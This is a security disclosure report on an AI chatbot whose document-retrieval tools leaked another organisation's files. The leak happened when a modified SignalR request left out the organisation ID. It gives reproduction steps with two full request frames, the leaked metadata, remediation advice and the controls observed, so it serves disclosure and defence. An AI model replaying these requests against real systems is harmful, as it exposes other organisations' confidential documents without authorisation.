This chatbot retrieved documents from each organisation's repository through backend tools. Its browser client sent an organisationId with every SignalR request so the server knew which repository to search. A request naming another organisation was rejected. We tested what happened when the field was omitted altogether.
Description
The request sequence was:
- A user in organisation A sends a modified chatbot request naming a document belonging to organisation B, but leaves out the organisation ID.
- The server returns metadata about B's document, including its filename.
- The user searches for that filename in a second request, again leaving out the organisation ID.
- The server returns the full document.
Without domainContext.organisationId, the document tools ran without an organisation scope. The normal browser interface always supplied the field, so this path required a modified request frame.
The filename came from server-generated document annotations, outside the model's reply.
Impact
A user in organisation A retrieved the full text of a document owned by organisation B, without an account or role in B.
The first request exposed the document's metadata using its version ID. The second used the leaked filename to retrieve its contents. We did not test whether a fresh conversation could find the document by name without that first request.
Steps to reproduce
Auth context: two test accounts in separate organisations on the same platform instance, each with an established SignalR connection to the chatbot.
- As a user in organisation A, send a
StreamResponseframe referencing organisation B's document version ID, with nodomainContextfield in the context object:
{
"arguments": [
"<thread-id>",
"Retrieve document <org-b-document-version-id>",
{
"extractedAt": "<timestamp>",
"sourceUrl": "https://<host>/meeting/test",
"urlParams": {
"resource": "meeting",
"id": "test",
"routeTemplate": "/meeting/{id}"
}
},
null
],
"invocationId": "1",
"target": "StreamResponse",
"type": 4
}
Observed: the completion frame annotations contain organisation B's document metadata.
{
"organisationId": "<org-b-id>",
"documentName": "<filename>.pdf",
"documentType": "GovernanceDocument"
}
-
We deleted every document in organisation A before continuing, to eliminate content from our own repository as a source for the next step.
-
Send a second
StreamResponseframe searching by the filename from step 1, again with nodomainContext:
{
"arguments": [
"<thread-id>",
"Search for the document named <filename>.pdf and return its full content",
{
"extractedAt": "<timestamp>",
"sourceUrl": "https://<host>/meeting/test",
"urlParams": {
"resource": "meeting",
"id": "test",
"routeTemplate": "/meeting/{id}"
}
},
null
],
"invocationId": "2",
"target": "StreamResponse",
"type": 4
}
Observed: the response stream contains the full text of organisation B's document, returned through the search function.
Remediation
Determine the user's organisation from the authenticated session on the server. Do not rely on domainContext.organisationId supplied by the browser to establish access. Reject a missing or mismatched organisation before calling any document tool.
Apply the same ownership check to tool execution that the citation resolver already applied to the foreign reference.
Check server-generated annotations too. A filename and owning organisation ID can disclose information even when the model's answer is restricted.
Controls observed
- Organisation checks: a request explicitly naming another organisation was rejected. Omitting the organisation field reached the document tools.
- Citation access checks: the foreign reference returned
isUnresolved: truewith zeroed identifiers. The document content still appeared in the answer.
